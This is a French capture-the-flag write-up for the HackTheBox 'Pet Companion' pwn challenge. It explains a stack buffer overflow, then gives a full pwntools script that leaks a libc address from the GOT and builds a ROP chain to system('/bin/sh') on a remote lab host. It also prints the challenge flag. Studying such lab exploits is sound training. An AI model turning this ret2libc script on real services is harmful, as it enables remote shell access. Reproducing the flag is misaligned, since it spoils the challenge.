Pet Companion
Catégorie: Pwn Difficulté: easy Flag: HTB{c0nf1gur3_w3r_d0g}
Challenge
Description
Pet companion is an easy difficulty challenge that features ret2csu
vulnerability in glibc-2.27
.
Ce challenge tourne sur un docker, disponible sur Github
Analyse du code
int main(void) {
undefined8 user_input;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined8 local_10;
setup();
user_input = 0x0;
local_40 = 0x0;
local_38 = 0x0;
local_30 = 0x0;
local_28 = 0x0;
local_20 = 0x0;
local_18 = 0x0;
local_10 = 0x0;
write(0x1,"\n[!] Set your pet companion\'s current status: ", 0x2e);
read(0x0,&user_input,0x100);
write(0x1,"\n[*] Configuring...\n\n", 0x15);
return 0x0;
}
On a le buffer user_input
qui fait 64 bytes (8 x 8 puisque local_40
jusque local_10
sont la suite du buffer)
Plus loin on read
0x100 soit 256 bytes, on a donc un dépassement de tampon de 256 - 64 = 192 bytes
Avec checksec
on peut regarder les propriétés de l’exécutable
[*] 'pet_companion'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Il n’y a pas de canary donc le buffer overflow sera plus simple à exploiter
Il n’y a pas de PIE, donc même si les adresses des librairies changent, celles du programme resteront les mêmes
Exploitation
Pour ça on va utiliser la GOT (Global Offset Table) qui contient les adresses des variables globales et des fonctions utilisées par le programme, mais dont l'emplacement exact dans la mémoire n'est pas connu au moment de la compilation. Dedans on trouvera les adresses des fonctions read
et write
de la libc par exemple
Les étapes à faire :
Faire un ROP Chain pour leak l’adresse d’une fonction de la libc qui se trouve dans la GOT puis retourner dans le main pour repasser dans la fonction
read
Déduire l’adresse de la libc à partir de ce leak
Utiliser l’adresse de la libc pour choper celle de la fonction
system
Utiliser notre 2nd input pour faire un nouvel ROP Chain sur
system(”/bin/sh”)
Une fois le shell obtenu, il suffit de faire un cat flag.txt
pour récupérer le flag
Script de résolution
import pwn
pwn.context.log_level = 'CRITICAL'
def solve():
# Remplir le buffer pour atteindre sa limite
DUMMY = b"A" * 0x48
binary = pwn.ELF('./pet_companion')
pwn.context.binary = binary
libc = pwn.ELF('./glibc/libc.so.6')
client = pwn.remote('94.237.53.3', 39416)
# Première attaque par ROP Chain
rop = pwn.ROP(binary)
# Ecrire l'adresse de write dans la GOT dans la sortie standard (1)
rop.write(1, binary.got['write'])
# Retourner au main pour réécrire ensuite
rop.main()
# Envoie du payload
client.sendlineafter(b'status', DUMMY + rop.chain())
client.recvuntil(b'Configuring...\n\n')
# Récupération de l'adresse de write
write_address = pwn.unpack(client.recv(8))
# On détermine l'adresse de la libc grâce à l'adresse de write récupérée
libc.address = write_address - libc.symbols['write']
# Seconde attaque par ROP Chain
rop = pwn.ROP(libc)
# On lance une commande /bin/sh grâce à system
rop.system(next(libc.search(b'/bin/sh\x00')))
client.sendlineafter(b'status', DUMMY + rop.chain())
# On prend la main sur le shell obtenu
client.interactive()
if __name__ == '__main__':
solve()
Dernière mise à jour
Cet article vous a-t-il été utile ?